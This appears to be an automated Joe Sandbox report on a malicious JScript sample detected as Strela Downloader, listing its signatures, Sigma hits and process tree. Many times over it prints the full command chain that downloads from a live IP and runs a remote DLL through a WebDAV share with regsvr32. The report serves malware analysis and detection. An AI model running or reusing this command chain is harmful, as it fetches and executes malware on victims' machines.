Edit tour

Windows Analysis Report
15410205613216010723.js

Overview

General Information

Sample name:	15410205613216010723.js
Analysis ID:	1587934
MD5:	cba37af2b2029e6ff9f32f4422bca1ba
SHA1:	ccd7aa116bfb1b3a9fc84afacb083dfddfc3c8b2
SHA256:	139b2ec20082d263b0571f19c993191c432347453c29ed0188dbc3ba39639a96
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7828 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15410205613216010723.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7912 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7960 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 8132 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7612 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6596 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1644,i,13885196146419999053,7004580303656281746,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8148 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8184 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3648 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7828	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7912, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7960, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7912, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7960, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15410205613216010723.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15410205613216010723.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15410205613216010723.js", ProcessId: 7828, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15410205613216010723.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7828, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 7912, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15410205613216010723.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7828, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 7912, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15410205613216010723.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7828, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 7912, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15410205613216010723.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7828, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 7912, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15410205613216010723.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7828, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 7912, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15410205613216010723.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15410205613216010723.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15410205613216010723.js", ProcessId: 7828, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7912, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7960, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8148, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8184, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3648, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8148, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8184, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15410205613216010723.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7828, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 7912, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 15410205613216010723.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 15410205613216010723.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000002.1349577346.000001B305887000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1421675019.000001B8A37F9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1411776746.000001B8A37F9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1421601144.000001B8A37C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1406872418.000001B8A381E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1421828440.000001B8A3820000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1421675019.000001B8A37F9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1411776746.000001B8A37F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/:
Source: net.exe, 00000007.00000002.1421675019.000001B8A37F9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1411776746.000001B8A37F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/r
Source: net.exe, 00000007.00000002.1421675019.000001B8A37F9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1411776746.000001B8A37F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/z
Source: svchost.exe, 00000009.00000002.2638704229.00000200F5C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1406074420.00000200F5E20000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7828, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 15410205613216010723.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7920:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bhn2b4rz.t3h.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

